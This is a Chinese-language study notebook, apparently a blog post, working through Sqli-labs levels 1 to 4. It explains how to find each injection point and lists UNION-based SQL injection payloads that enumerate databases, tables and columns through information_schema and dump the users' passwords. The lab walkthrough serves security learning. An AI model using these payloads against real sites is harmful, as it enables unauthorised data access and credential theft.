Sqli-labs练习笔记(长期更新中)
Less-1
首先测试id=1'
发现页面报错,说明存在注入点,并且没有过滤单引号:
![](https://img.haomeiwen.com/i15800372/19fae72f716453f3.png)
使用“#”注释掉后面的sql语句之后,发现回显又正常了(GET方式提交#必须用URL编码,也就是%23输入):
![](https://img.haomeiwen.com/i15800372/1c3946318ba9481d.png)
说明这里是基于报错的单引号字符型注入。
接下来使用order by
语句判断列数。order by 3
回显正常,order by 4
报错,所以一共有3列。
![](https://img.haomeiwen.com/i15800372/33b4afdee01a46ae.png)
![](https://img.haomeiwen.com/i15800372/babc742c15f29f6f.png)
将id改为一个不存在的值并使用union select 1,2,3
判断显示位,可以看到显示了2和3。
![](https://img.haomeiwen.com/i15800372/6450586acdb39445.png)
接下来查询数据库的各种信息。这里经常需要用到几个被称为“字符串连接函数”的函数,常用的有以下几个:
concat()
concat_ws()
group_concat()
这里使用group_concat()。
爆数据库名:
?id=8888' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
![](https://img.haomeiwen.com/i15800372/d9a639abb9494f4a.png)
这里用到了一个叫information_schema的东西。
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
from https://blog.csdn.net/kikajack/article/details/80065753
在SQL注入中,这个数据库中有几个比较常用的表:
-
schemata
表,这个表中存放了所有数据库的信息。 -
tables
表,存放了数据库中所有数据表的信息。 -
columns
表,存放了所有列的信息。
这里利用了 schemata
表来获取了所有数据库的名称。
接下来爆security数据库中的列:
?id=8888' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
![](https://img.haomeiwen.com/i15800372/0782e41437e58ee6.png)
爆users列的字段:
?id=8888' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
![](https://img.haomeiwen.com/i15800372/88ff8fb34cdb869c.png)
爆password字段的信息:
?id=8888' union select 1,group_concat(password),3 from security.users%23
![](https://img.haomeiwen.com/i15800372/c2647992805e880c.png)
Less-1完成。
Less-2
这个题是基于报错的数字型注入,利用方法和上面的基本一样,只是不需要加id后面的单引号。
看报错可以知道我们输入的语句被原封不动地插入到sql语句中。
![](https://img.haomeiwen.com/i15800372/1c9120dbfe04b67b.png)
payload:
?id=1 order by 3
?id=1 order by 4 /*报错,说明有3列*/
?id=8888 union select 1,group_concat(schema_name),3 from information_schema.schemata
?id=8888 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
?id=8888 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
?id=8888 union select 1,group_concat(password),3 from security.users
Less-2完成。
Less-3
用?id=1'
测试了一下,发现报错有变化,根据报错可以知道这里是使用')
闭合字符串的,所以在Less-1的id后面加一个)
就可以了。这里还是需要加%23
把后面的语句注释掉。
![](https://img.haomeiwen.com/i15800372/416eebd80c5702cc.png)
payload:
?id=8888') union select 1,group_concat(schema_name),3 from information_schema.schemata%23
?id=8888') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
?id=8888') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
?id=8888') union select 1,group_concat(password),3 from security.users%23
Less-3完成。
Less-4
用?id=1'
测试了一下发现没有问题,但是用?id=1"
测试发现报错:
![](https://img.haomeiwen.com/i15800372/98fc61811a8eacb3.png)
根据报错可以知道我们的字符串被放在双引号和括号之间了。
payload:
?id=8888") union select 1,group_concat(schema_name),3 from information_schema.schemata%23
?id=8888") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
?id=8888") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
?id=8888") union select 1,group_concat(password),3 from security.users%23
Less-4完成。